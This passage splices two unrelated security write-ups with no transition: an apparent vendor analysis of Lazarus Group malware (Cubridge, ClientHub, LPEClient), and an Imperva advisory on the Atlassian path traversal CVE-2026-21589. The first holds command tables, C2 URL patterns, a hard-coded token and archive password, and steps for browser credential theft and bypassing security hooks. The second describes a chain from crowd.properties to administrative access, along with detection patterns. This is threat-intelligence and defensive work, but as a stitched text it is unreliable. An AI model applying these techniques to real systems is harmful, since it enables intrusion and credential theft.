Directly invoke the received shellcode in memory
aqvxp
Terminate the current process
rtcya
Beaconing after finishing the handshake process
Cubridge – the framework orchestrator
Cubridge, deployed via TechHub on the compromised host, is capable of retrieving various payloads through multiple methods. It serves as the central orchestrator of the entire malware framework, supporting a range of plugins, modules, and tools. An earlier version of Cubridge was also disclosed in the reports covering the previous version of TechHub. In those reports, Mandiant identified it as SIDESHOW, and ESET identified one of its modules as LightlessCan.
To establish communication with the C2 server, Cubridge randomly selects one of the predefined C2 servers and constructs a dedicated C2 URL for every request, using the pattern [C2_URL]/[page1]/[page2]/[page3]. This is achieved by concatenating terms from predefined word lists. Our analysis identified a single hardcoded C2 server – hxxps://cubedesign[.]co[.]kr/news/AABBCC – associated with the examined instance that is configured to version 5.1. During URL generation, AABBCC is substituted with a null value. The page3 segment is assigned a randomly generated integer between 10000000 and 99999999. Consequently, each generated URL is designed to appear authentic and remain unique for each request.
The predefined list for page1 is shown below. TechHub randomly selects one item from the list.
The predefined word list for page2 is shown below.
article, list, story
This means the hardcoded URL can later be transformed, for example, into hxxps://cubedesign[.]co[.]kr/news/economy/article/12345678 by following the steps described above.
Authentication using the POST request with the C2 server requires three parameters in the form of key‑value pairs. Each key is randomly generated using a different predefined word dictionary, and the associated values consist of a randomly generated 8‑byte hexadecimal bot ID, a fixed authentication token (KW4Ofw982CNJjxd51AVqkGAop), and a randomly generated 16‑byte hexadecimal session ID.
Cubridge employs a more robust handshaking process than TechHub, combining the RSA and RC6 algorithms. Unlike TechHub, it skips the profiling step and proceeds directly to command and control after the handshake. During communication, the malware mimics browser requests, using X‑CSRF‑Token and X‑Requested‑With headers for authentication and the Upgrade‑Insecure‑Requests header to request additional data.
Cubridge’s communication sequence
Cubridge contains extensive functionality, with a particular focus on loading subsequent‑stage payloads. The commands employ various techniques, such as DLL injection, reflective loading, and section‑mapping injection. The payloads may be delivered in various forms:
Plugins – reusable extensions that add functionality as needed and can be invoked at any time (in shellcode and DLL form);
Tools (in DLL form) – independent utilities that perform one-off tasks;
Modules – components that are loaded once and remain active providing an extended set of functionalities.
It is anticipated that the commands for plugins and shellcode will load identical types of plugins because both support a similarly formed exported function for subsequent activity. The shellcode can be generated using the open‑source sRDI tool to package a DLL‑style plugin. The capabilities of a single DLL are likely utilized to load a tool that works independently because when a single DLL is loaded, only its DllMain entry point and its parameters are accessible; no other exported functions are exposed.
Command
Payload type
Description
0
–
Collect device info including the computer name, time zone, PID, and other similar details
1
Archive the specified file/directory using the legacy ZipCrypto algorithm and the hard‑coded password: xdkiTajAAxc3i/w[<881fnC!G*cb1Dit2sh.gAk/
2
Create a file at the specified path
3
Possibly plugin
Inject the provided DLL payload into the target process and load it reflectively using reflective DLL injection
4
Plugin
Reflectively load a plugin in DLL format
5
Retrieve the address of the specified exported function from the target plugin and run it with the provided parameters
6
Retrieve all information about the loaded plugins
7
Unload the specified plugin
8
Shellcode
Inject the provided shellcode into the target process and load it using section mapping injection
9
Load the provided shellcode directly into memory
10
Retrieve the address of the specified export function from the target shellcode (likely a plugin in shellcode form) and run it with the provided parameter
11
Retrieve all information about the loaded shellcode
12
Unload the specified shellcode
13
–
Set the scheduled Cubridge execution time (in minutes) by updating a global variable
14
Set the scheduled Cubridge execution time (in minutes) by updating a global variable, while disabling monitoring by also updating another global variable
15
Terminate in a controlled manner
16
Get the configuration for Cubridge: retrieve the global flags, the number of C2 servers, the C2 addresses, etc.
17
Update the global flags, the number of C2 servers, the C2 addresses, etc.
18
Tool
Load a DLL reflectively with the specified parameter
19
Configure the parameters for loading a single DLL
20
Unload the single DLL
21
Module
Load the “action module” (ActionModule.dll) reflectively and invoke its AppinfoView export function
22
Load the “function module” (FunctionModule.dll) reflectively and invoke its PresentationFontConfig export function
Commands 21 and 22 each load a different module. As their internal names imply, the action module manages basic file and process operations, while the function module implements Windows’ default commands. The action module covers commands 23–41, and the function module handles commands 42–79.
The action module handles system operation commands, file system interactions, and process behavior. It is invoked by passing the appropriate command and parameters to its AppinfoView export function. The module supports 19 commands, numbered 23 through 41. Execution results are first sent to Cubridge, which then forwards them to the C2 server.
Command
Role
23
Get local disk space for each drive
24
Get information about the specified file or directory
25
Execute the provided command
26
Get information about the specified file or directory (similar to command 24)
27
Execute the provided command under the target process (PPID spoofing)
28
Execute the provided command under the target process within the provided session (PPID spoofing + session impersonation)
29
Get detailed information about processes
30
Terminate the provided process
31
Suspend all threads belonging to the specified process
32
Resume all threads belonging to the specified process
33
Permanently delete the file by overwriting its entire contents with the sequence: 0 → 1 → random bytes → 1 → 0
34
Rename the provided file to :EFS (the alternate data stream area) and delete it using the native API SetFileInformationByHandle
35
Set the current working directory
36
Copy the specified file to the provided path
37
Delete the specified directory
38
Move the specified file to the provided path
39
Create the provided directory
40
Initiate a non‑blocking connection attempt to the specified IP address and port (possibly for port scanning)
41
Read the specified file
The function module implements commands that emulate Windows’ built-in commands. Similar to the action module, its DllMain routine initializes all supported command functions, which are later accessed through the PresentationFontConfig export. Altogether, the module offers 38 commands, numbered from 42 to 79. While we believe this module is based on the previous LightlessCan, this is the first time we’ve seen it in the form of a separate module.
Command
Role
42
Capture all displays and archive them using the legacy ZipCrypto algorithm with the hard‑coded password: xdkiTajAAxc3i/w[<881fnC!G*cb1Dit2sh.gAk/
43
Synchronize the MAC (Modified, Accessed, and Created) times of the file provided in the second argument to match those of the file provided as the first argument
44
Get information about the specified directory
45
Get information about the specified drive
46
Inject the provided DLL payload into the target process
47
Unload the specified DLL from the specified process
48
Implementation of the ipconfig command
49
Implementation of the net command
50
Implementation of the netsh advfirewall firewall command
51
Implementation of the netstat command
52
Implementation of the ping -6 command
53
Implementation of the reg command
54
Implementation of the sc command
55
Implementation of the ping command
56
Implementation of the whoami command
57
Implementation of the nslookup command
58
Implementation of the schtasks command
59
Implementation of the systeminfo command
60
Implementation of the arp command
61
Call the CryptUnprotectData function to retrieve the AES key that DPAPI protects. Extract the key using the encrypted_key keyword from Chromium’s Local State file located at: %LOCALAPPDATA%\Google\Chrome\User Data\Local State
62
Not implemented
63
Not implemented
64
Read the specified file and decrypt it using an XOR operation with the key 0x59. Then extract the paths from the decrypted buffer and archive files and directories at these paths with the legacy ZipCrypto algorithm, using the hard‑coded password: xdkiTajAAxc3i/w[<881fnC!G*cb1Dit2sh.gAk/
65 ~ 79
Not implemented
Besides the modules, we also observed that the actor deployed various plugins and tools.
Type of payload
Name
Description
Plugin
ADFinder (AdFinder.dll)
Launches LDAP queries in an Active Directory environment, taking six arguments such as log file path, ADsPath, search filter, and attribute names
Plugin
FileCollector (Dll.dll)
Recursively scans every subdirectory and file in the provided directory, gathering detailed information about each
Tool
Browser stealer
Can be injected into Chromium-based browsers, such as Google Chrome, Microsoft Edge, and Brave. Once injected, it extracts files and credentials from the victim’s browsers, including stored passwords, bookmarks, history, preferences, and cookies
Tool
Process collector
Iterates over all running processes, collecting each process’s ID, path, and command line
TouchHub installs a service for TouchShift
During our analysis, we obtained a previously unknown malware sample from TechHub’s private GitHub repository, which served as a parent installer for TouchShift. We dubbed this malware TouchHub. Upon execution, it copies the legitimate printfilterpipelinesvc.exe to C:\Windows\System32\RasConv\ImeBroker.exe, registers it as a service, and places an embedded TouchShift payload named mscoree.dll in the same directory. Following creation, the malware synchronizes the MAC timestamps of C:\Windows\System32\drivers\monitor.sys with those of the newly written file, hindering forensic analysis.
It then goes through the service registration process by collecting up to 100 legitimate service names that are registered under the netsvcs svchost group in HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost. It randomly selects one of these names, appends two random alphabetic characters to form a new service name, and uses this name to create a service that runs the hard‑coded command line C:\Windows\System32\RasConv\ImeBroker.exe -TimeBroker with the description Microsoft Service. The newly created service is started immediately.
Overall, TouchHub creates three files in the designated directory to launch TouchShift with SYSTEM privileges.
Path
Type
Description
C:\Windows\System32\RasConv\ImeBroker.exe
Executable file registered as a service
Copied from C:\Windows\System32\printfilterpipelinesvc.exe
C:\Windows\System32\RasConv\mscoree.dll
Side-loaded TouchShift payload
Dropped by TouchHub. It contains encrypted payloads and includes portions of a legitimate DLL’s contents, which significantly inflates its size
C:\Windows\System32\RasConv\ActivationStore.dat
TechHub’s configuration file
Dropped by TouchHub after extracting configuration values
TouchShift, a prevalent loader employed across multiple infection chains
The version of TouchShift dropped by TouchHub is almost identical to the version described in Mandiant’s blog post, even sharing the same malicious export function, LockClrVersion. It takes the argument supplied by TouchHub and XORs it with a hard‑coded key. The resulting value is XORed once more with the executable’s filename, and this result is used as the AES key. All strings involved in this process (the argument, the XOR key, the filename) must be exactly 16 bytes long. If a string is shorter, it is padded with NULL bytes (\x00); if it is longer, it is truncated to 16 characters. For example, one of the string combinations in the obtained sample was:
Argument: -TimeBroker\x00\x00\x00\x00\x00 (padded with NULL)
Hard-coded XOR key: x809G736iC3f8Wp8
Executable filename: ImeBroker.exe\x00\x00\x00 (padded with NULL)
After deriving the key, the malware decrypts the embedded payload using AES‑CBC‑128 without padding. The decrypted data is shellcode that starts with a call instruction. It wraps the next‑stage payload – identified as the third version of TechHub (DLL side-loading with a registered service) – that reads the ActivationStore.dat file as an external configuration.
ClientHub
We also identified a new piece of malware stored in TechHub’s private repository, which we named ClientHub. It supports various commands formed using a bitmask. There are at least two versions of ClientHub: one that communicates with websites via HTTP(S) and one that interacts with the Dropbox API using credentials.
Depending on the version, its configuration is sourced from internal resources or the external configuration file C:\Program Files\Common Files\System\msadc\msadc.inc. The configuration comprises keys and IVs for the SNOW 1.0 algorithm, scheduled execution times, and C2 server addresses encrypted with the SNOW stream cipher. The SNOW cipher is a family of high‑speed stream ciphers used for secure data encryption in telecommunications and wireless networks. This is the first time it has been observed in the malware of the Lazarus Group.
To establish C2 communication, the malware initially generates a 32‑byte random array. It subsequently overwrites portions of this array with data collected from the compromised device. The resulting 32‑byte array comprises a blend of random bytes and relevant information. This array is later used as the key for the SNOW algorithm to decrypt data received from the C2 server. Finally, the key array is encrypted with a hard‑coded RSA public key and encoded in Base64.
Offset
Size
Field value
0
4
Current process ID
4
4
First four bytes of the decrypted C2 server information.
8
7
Randomly generated bytes
15
1
Calculated flag value that indicates a state machine.
16
8
Current system time, represented as a FILETIME structure.
24
8
Randomly generated bytes
The ciphertext is delivered to the C2 server via GET requests. Each request contains headers that are atypical for malware: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Mobile, Sec-Fetch-Mode, and Sec-Fetch-Dest. These headers are normally used by legitimate Chromium‑based browsers and enable malware to imitate legitimate traffic and evade detection. The C2 server replies with commands in a custom header and message body.
struct header
{
int has_more_data // whether more body data remains
int body_checksum;// ROR13 checksum for the body data
int body_type; // specifies the body type
int unknown;
int body_length; // Length of the body data
int IV[2]; // Random IV used to encrypt the body data
};
The body_type field in the header determines how the subsequent payload is processed. This value functions as a bitmask, with each bit representing a distinct flag (e.g., 0x1, 0x2, 0x4, etc.). The resulting behavior also depends on whether the least‑significant bit (bit 0) is set: when the value is odd, the malware interprets the incoming message body as an additional payload that is subsequently loaded into memory. Conversely, when the value is even, the malware invokes the previously loaded payload.
The odd value supports four distinct loading methods based on the received message body and ensures that each method executes only once.
Bitmask
Value in decimal
Description
Result sent to the C2
0x00000001
1
DLL loading: load the received body reflectively along with the provided parameter
The payload’s image base
0x00000011
3
Plugin: load the received body reflectively, obtain the address of a function in the payload, and then invoke that function along with the provided parameter
The payload’s image base, the address of the invoked function, and the execution result
0x00000101
5
Plugin: load the received body reflectively, obtain the address of a function in the payload, but refrain from invoking it immediately
The payload’s image base, the address of the function
0x00001011
11
Plugin: execute the behavior associated with value 3, then unload immediately after invoking the plugin
–
0x00010001
17
DLL loading: load the received body reflectively with the provided parameter, maintaining stateful communication via a persistent interactive session using a shared buffer
The payload’s image base, the address of the interactive shared buffer, and the execution result
The even value provides two distinct invocation methods for DLLs and plugins that have already been loaded and are associated with the odd‑value bitmask. The 2 (0x10) flag allows the payload previously loaded with the 1, 3, or 5 bitmask to be reused and invoked directly. The value 16 (0x10000) corresponds to the 17 (0x10001) flag in loading mode and uses the established interactive shared buffer to exchange data. All values are guaranteed to act independently.
Bitmask
Value in decimal
Description
Result sent to the C2
0x00000010
2
Invoke the previously loaded DLLs and plugins along with the provided parameter
The execution result
0x00000100
4
Not implemented
–
0x00001000
8
Unload the previously loaded DLLs and plugins
The execution result
0x00010000
16
Send the updated parameter to the payload loaded by the command with the value 17, and exchange data through the interactive session. This command also determines whether to retrieve the execution result or unload the payload
The execution result
Taking into account the loading mechanism, we identified four plugins deployed to the target that work perfectly with ClientHub.
Plugin
Description
File archiver
Archives the provided file using the legacy ZipCrypto algorithm (without password protection) and returns the compressed data
File collector
Searches for all files matching the provided search pattern and collects metadata including filename, MAC timestamps, file size, and attribute values
File cleaner
Overwrites the provided file with NULL bytes, renames it to a randomly generated filename of the same length, and then deletes it. If a directory with a search pattern is provided, it locates all matching files, renames each to a randomly generated name of identical length to its original name, and deletes them
Drive and session monitor
Monitors remote session changes and local drive changes for the provided duration (in 10-minute intervals) and returns the collected status information
In addition to the plugins, ClientHub supports the loading of LPEClient malware and communication with it. We found that ClientHub’s body_type values 16 and 17 correspond to LPEClient’s C2 communication mechanism.
LPEClient
LPEClient is the only malware that was also observed in Operation SyncHole, indicating that the actor relies heavily on it for sophisticated victim profiling and payload delivery across multiple operations. LPEClient first appeared in 2019, and was discovered in 2020. Since then, the tool has been widely observed in the Dream Job and Cascade Hole campaigns that targeted South Korea. Recent research conducted by Check Point revealed that LPEClient was used to deploy the FudModule malware using a zero-day.
LPEClient has evolved continuously over time, but we discovered that it recently underwent a major operational revamp. It no longer contains the C2 server address itself; instead, it interacts with ClientHub via a shared buffer. We believe this change is intended to enhance concealment.
Timeline of LPEClient
The previous version collected the computer name, memory status, CPU specifications, operating system details, version of the ntoskrnl.exe file, firmware table, antivirus name, domain name, user name, the integrity level of the current process, and a random byte sequence of 1,568 bytes. The newly updated LPEClient variant mostly collects the same information; however, it also introduces several changes.
It does not collect the version of the ntoskrnl.exe file by querying the FileVersion value. Instead, depending on the specific build, it reads either the HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\UBR registry key or the SYSTEM_BUILD_VERSION_INFORMATION structure to retrieve the revision portion of the Windows build number. These values can be used to infer the system’s cumulative update or patch level.
To collect information about installed antivirus products, it switched from querying a WQL command to reading the WMI repository file directly. It now reads C:\Windows\System32\wbem\Repository\OBJECTS.DATA and searches for keywords such as AntiVirusProduct, companyName, and displayName to identify the installed products.
It also collects low‑level Windows security mitigation states. To achieve this, it queries the SYSTEM_KERNEL_VA_SHADOW_INFORMATION structure for the Kernel VA Shadow mitigation status and the SYSTEM_SHADOW_STACK_INFORMATION structure for the Shadow Stack (CET) protection status.
Additionally, it generates a 32‑byte random unique identifier by using the HighwayHash algorithm and an XOR operation with the current system time. The collected information, including the generated identifier, is compressed with the XPRESS Huffman algorithm using the maximum compression setting. The compressed data is then concatenated with the message ID 0xF07D6B34 and encrypted using GOST (also known as Magma), Russia’s national cryptographic standard that employs a DES‑like structure, before being sent to the ClientHub via a shared buffer. Initially, KrCERT described the algorithm as a custom DES‑like scheme. However, further analysis by us and Check Point confirmed that it is actually the GOST algorithm. The key is randomly generated by a proprietary key‑generation algorithm and prepended to the encrypted message.
The next request handles the key exchange by delivering the message ID 0xA39CF278 together with the generated unique identifier. The response is decrypted using the AES‑CBC‑256 algorithm. The SHA‑256 hash of the previously generated 1,568‑byte random value, which was originally sent to the C2 server during the collection phase, serves as the key for this decryption.
Through this process, LPEClient obtains a byte array comprising four 1,568‑byte blocks from the C2 response. Each block contains an ML‑KEM‑1024 public key, where ML‑KEM is a NIST‑standardized post‑quantum key encapsulation mechanism derived from CRYSTALS‑Kyber. LPEClient then generates four distinct pairs of shared keys and ciphertexts from these blocks, encrypts the ciphertexts with the GOST algorithm, and transmits them to the C2 server via ClientHub together with the message identifier 0xEF8C0D51 and the associated identifier. Now that the preparation phase for receiving payloads is complete, the malware is ready to receive payloads forwarded by ClientHub from the C2 server, along with the necessary parameters. The use of post-quantum cryptography shows that the group intends to hide subsequent payloads.
The response to the 0xEF8C0D51 message is decrypted with the Threefish algorithm using a 128-byte key, composed of the four distinct shared keys. Threefish is a tweakable block cipher that accepts a ‘tweak’ value alongside the key and the message. The concept of a tweak is similar to that of a nonce or initialization vector, which are used in different types of ciphers. In LPEClient communication, the tweak for the decryption is derived by XORing the unique identifier with 165 (0xA5). The first four bytes of the decrypted message must specify the parameter’s length, followed by the parameter itself and then the payload. The payload must be larger than 4 KB and start with the characters 'MZ', which indicates that the decrypted payload is an executable file. The payload is then reflectively loaded into memory. After successful loading, LPEClient sends the message ID 0xCB790A25 to the C2 server.
Before loading the acquired payload, LPEClient takes measures to bypass security products. Instead of invoking VirtualProtect directly, the malware uses the identified HeapPageAllocator::ProtectPages in jscript9.dll to modify the memory page protection of the MD4Update function. The beginning of the function is then overwritten with a hard‑coded opcode sequence that serves as a syscall stub with the required arguments. LPEClient then uses the syscall stub to disable a user‑mode syscall instrumentation hook.
We identified the final payload that was ultimately loaded as Cubridge. The overall communication process is as follows.
Data relay flow between LPEClient and C2 via ClientHub
Comparison of plugins and modules
Throughout the engagement, we identified a variety of payloads deployed by TechHub, Cubridge, and ClientHub. These payloads have been categorized as tools, plugins, and modules that constitute the group’s modular malware framework. While we have not yet ascertained which payloads are deployed under specific conditions, the evidence suggests that the Lazarus Group’s toolkit is becoming increasingly sophisticated and segmented into specialized components rather than a single comprehensive backdoor. We also believe that TechHub and Cubridge may share similar tools.
These modularizations are not confined to the instances within this campaign. As previously noted, similar patterns have been identified in CookiePlus, MISTPEN, SIGNBT, and IMETHOD. Note that we have reclassified the ThreatNeedle variant used in Operation SyncHole as the latest version of IMETHOD, the predecessor of ThreatNeedle in use since at least 2016.
Infrastructure
Based on the information we obtained from the TechHub malware, we identified at least three primary repositories used as the C2 server and one fallback repository. The earliest evidence indicates that the group has been leveraging GitHub as a C2 server since at least July 2025. We suspect that all the accounts were created using hijacked email accounts, and disguised as normal repositories by copying or creating normal projects to avoid suspicion.
For the Cubridge and ClientHub C2 servers, the Lazarus Group employed only a minimal number of compromised yet legitimate South Korean media and interior design websites. Later, we observed that a broader range of compromised legitimate sites across various industries were also exploited. In addition, one ClientHub sample that we detected used Dropbox as a C2 channel.
Victims
We have identified at least three firms from the software, construction, and wired communication equipment industries in South Korea that were targeted by Operation FlashHole. As with the previous operation, however, we remain confident that a considerably larger number of organizations across a broader spectrum of industries have been affected.
The software sector was the only sector targeted in both the SyncHole and FlashHole campaigns. This suggests the actor is eager to compromise the sector, steal source code, and exploit vulnerabilities for further attacks.
Attribution and links to other campaigns
Operation FlashHole is the latest wave in the broader Cascade Hole campaign, which involves the use of South Korean software as a potential entry point to deliver malware targeting the country. Although the malware chain has advanced significantly since last year, we assess with medium-to-high confidence that the same actor is responsible for both the SyncHole and FlashHole operations based on the initial vector, targets, multi‑stage chain, and technical and operational improvements. The use of LPEClient in particular is a strong indicator supporting this assessment.
The malware strains used in the attack are historically linked to the toolsets observed in the Lazarus Group’s notorious Dream Job campaign. Earlier versions of TechHub (also known as CLOUDBURST and NickelLoader), Cubridge (also known as SIDESHOW and LightlessCan), and TouchShift were all observed in that campaign, especially between 2022 and 2023.
We also discovered that both CookiePlus and ClientHub have significant overlaps in class name, configuration path, and plugins. Based on these similarities, we assess with medium‑high confidence that ClientHub is an advanced version of CookiePlus.
Since July, around the time Operation SyncHole began winding down, we have also observed several notable attacks against South Korea employing the COPPERHEDGE backdoor and targeting various South Korean organizations. Interestingly, the start times of these activities align with the earliest evidence we have identified for Operation FlashHole. Although the backdoor was part of the second phase of Operation SyncHole, it has been operating independently with its custom loader since then. These incidents featured malware chains and tools that were distinct from those used in Operation SyncHole and FlashHole.
As AhnLab noted in their report, the same backdoor was likely observed in atypical activity, specifically the Gunra ransomware infection. Our investigation further revealed that one instance of a backdoor infection ultimately resulted in the exfiltration of data to a dark web leak site, which clearly differed from Gunra’s. The site appears to have been crafted exclusively for this activity. In summary, unlike other attacks, the backdoor was used in conjunction with both ransomware and data exfiltration.
Data leakage site linked to the COPPERHEDGE backdoor on the dark web
Another noteworthy point is that the recent Dream Job campaign employs an updated malware chain that, since around 2024, has primarily involved MISTPEN and ForestTiger rather than the earlier arsenal that included tools such as TechHub and Cubridge. However, the updated versions of this older malware have now re-emerged as part of Operation FlashHole. Considering these changes and all aspects of each attack’s TTPs, we have organized a classification for each attack.
Overlaps between the recent attacks by Lazarus Group
Conclusion
Our analysis shows that the Lazarus Group begins preparing for its next operation shortly after completing the previous one, ultimately deploying an enhanced malware chain by refining existing tools. The group continues to use the advanced version of LPEClient for profiling and payload delivery, indicating that the tool is meticulously managed and well maintained. Ironically, the group seems to have adopted more secure post-quantum cryptography faster than many legitimate security products. These observations suggest the involvement of a dedicated developer, with others orchestrating comprehensive attack scenarios against newly targeted software.
We anticipated that specialized attacks targeting South Korea would persist. However, we did not foresee multiple attack campaigns being executed simultaneously, each leveraging different types of software and tools. Notably, the COPPERHEDGE cluster appears to be involved in monetizing the attacks, while Operation FlashHole is focused on espionage. We are closely monitoring these changes to understand their motivations and ultimate goals.
In October 2025, the South Korean government unveiled a comprehensive cybersecurity plan that will phase out the mandatory installation of security software for users beginning in 2026. We estimate that operations exploiting this software will remain highly active for some time, maximizing efficiency, before the software is fully eliminated or mitigated.
Kaspersky products detect the exploits and malware used in this attack with the following verdicts: MEM:Trojan.Win64.Shellcode.gen, Trojan.Win64.DLLhijack.*, Trojan.Win64.Lazarus.*.
Atlassian has released an out-of-band security advisory for CVE-2026-21589, a critical arbitrary file access vulnerability affecting a broad range of its Data Center products. The flaw carries a CVSS 4.0 score of 9.3 and can be exploited remotely without authentication or user interaction. Because vulnerable functionality is shared across the Atlassian product ecosystem, every previous version of the affected products is impacted.
An attacker who knows the exact name and path of a file can use the vulnerability to read it from within the affected application’s web root. The issue does not provide directory-listing or file-enumeration capabilities, but many Atlassian deployments follow predictable directory structures. This can make sensitive configuration files practical targets even without prior access to the system.
Atlassian released fixed versions on October 5, 2026, and urged Data Center customers to patch immediately. Atlassian Cloud environments have already been patched, and Atlassian said its investigation had not identified evidence of exploitation affecting Cloud customers at the time of disclosure.
What Is CVE-2026-21589?
CVE-2026-21589 is an unauthenticated path traversal vulnerability in Atlassian’s web-resource handling. Research traced the flaw to the shared atlassian-plugins-webresource component. Vulnerable code converts double-colon sequences (::) into forward slashes when resolving requested resources. In affected routes, crafted traversal sequences can pass through path-processing logic and reach files within the application server’s web root.
The attack does not require a valid Atlassian account. A remote attacker can submit a specially crafted HTTP request to a vulnerable instance and retrieve a file if its location is known. The technique has been demonstrated against Jira, Confluence, and Bitbucket, with product-specific request paths leading to protected files under the applications’ WEB-INF directories.
The direct result is unauthorized file disclosure rather than remote code execution. However, the practical impact depends heavily on the files stored in the web root and the way Atlassian products are integrated. Configuration files may contain credentials, internal service locations, or other information that enables further compromise.
From File Read to Administrative Access
Atlassian’s documented Jira–Crowd configuration stores the Crowd application name, application password, and server URL in WEB-INF/classes/crowd.properties. In a vulnerable and permissively configured deployment, an attacker could use CVE-2026-21589 to retrieve this file and obtain the credentials used by Jira to communicate with Crowd. The researchers showed that those credentials could then be used to interact with Crowd’s user-management API, create a user, and add that account to the jira-administrators group.
This escalation path is configuration-dependent. Crowd can restrict access by source IP, which may make direct use of leaked credentials more difficult. Even so, the demonstrated chain shows why a file-read vulnerability can have consequences well beyond the disclosure of application files: secrets exposed from one Atlassian product may provide a path into the identity layer shared by the wider environment.
Affected Atlassian Products and Fixed Versions
All versions released before the following fixed versions are affected:
Product
Fixed versions
Bitbucket Data Center
9.4.26, 10.2.8, 10.5.1
Confluence Data Center
9.2.26, 10.2.19
Jira Service Management Data Center
5.12.40, 10.3.26, 11.3.12
Jira Software Data Center
9.12.40, 10.3.26, 11.3.12
Bamboo Data Center
10.2.24, 12.1.12
Crowd Data Center
6.3.7, 7.0.3, 7.1.7, 7.2.4
Crucible
4.9.15
Fisheye
4.9.15
Atlassian recommends upgrading to one of the listed fixed releases or a later version. Organizations should verify every node in a clustered deployment, as well as Bitbucket mirrors and mirror-farm nodes where applicable.
What Imperva Is Seeing
Imperva telemetry shows that detection activity associated with CVE-2026-21589 has been heavily concentrated among targets in Singapore, which accounted for 86.8% of observed activity.
The telecommunications and internet service provider sector was the primary target, accounting for 68% of observed activity. The concentration in telecommunications and ISP environments is notable because Atlassian products frequently support internal development, operations, and service-management workflows in large, interconnected organizations.
Mitigation and Detection
Patching is the primary remediation. Atlassian advises customers to upgrade each affected installation to a fixed version or the latest available release. If patching cannot be completed immediately, Atlassian recommends removing affected instances from public internet access until a patch or temporary mitigation is in place.
For threat hunting, Atlassian recommends reviewing access logs for traversal sequences. Request lines should be URL-decoded up to two times before searching for .. adjacent to /, \, or ::. Security teams can also search decoded logs using the regular expression published in Atlassian’s advisory. Because exploitation requires a known path, requests referencing WEB-INF, web.xml, urlrewrite.xml, crowd.properties, or other sensitive application files warrant particular scrutiny.
Organizations using Crowd integrations should also consider the potential exposure of application credentials. If logs or other evidence indicate that a sensitive configuration file may have been retrieved, incident response should extend beyond patching the vulnerable Atlassian instance to include credential rotation, review of Crowd users and group memberships, and investigation of activity across connected products.
How Imperva Helps
Imperva Web Application Firewall helps identify and block malicious path-traversal requests before they reach vulnerable Atlassian applications. Its inspection of decoded and obfuscated request paths is relevant to CVE-2026-21589 because exploitation can use nonstandard separators and encoded traversal patterns to reach protected files.
Customers should still install Atlassian’s fixed releases as soon as possible. A WAF provides an important compensating control while upgrades are tested and deployed, but it does not replace remediation of the vulnerable software or investigation of possible earlier access.
Conclusion
CVE-2026-21589 combines a low-complexity, unauthenticated attack path with an unusually broad affected-product footprint. Although the immediate capability is limited to reading known files within the application web root, predictable file locations and shared credentials can turn that access into a much larger identity and administrative compromise.
While Imperva customers are protected out-of-the-box, all organizations running Atlassian Data Center products should treat the issue as an emergency: inventory affected installations, patch every node to a fixed release, apply Atlassian’s temporary mitigations where patching is delayed, and review historical access logs for traversal patterns and requests targeting sensitive configuration files.
Login
